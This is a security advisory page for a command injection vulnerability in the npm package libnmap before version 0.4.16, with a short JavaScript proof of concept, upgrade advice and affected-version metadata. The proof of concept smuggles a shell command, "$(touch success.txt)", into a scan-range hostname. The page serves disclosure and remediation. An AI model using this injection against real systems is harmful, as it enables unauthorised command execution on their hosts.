GHSA-7g2w-6r25-2j7p

    Dashboard / Vulnerabilities / GHSA-7g2w-6r25-2j7p

    GHSA-7g2w-6r25-2j7p

    Published: 1 Nov 2018Last Modified: 8 Nov 2023

    Summary: Command Injection in libnmap

    Details: Versions of `libnmap` before 0.4.16 are vulnerable to command injection. Proof of concept ```js const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err); for (let item in report) { console.log(JSON.stringify(report[item])); } }); ``` ## Recommendation Update to version 0.4.16 or later

    Affected packages

    Package

    Name: libnmap

    Purl: pkg:npm/libnmap

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.4.16

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High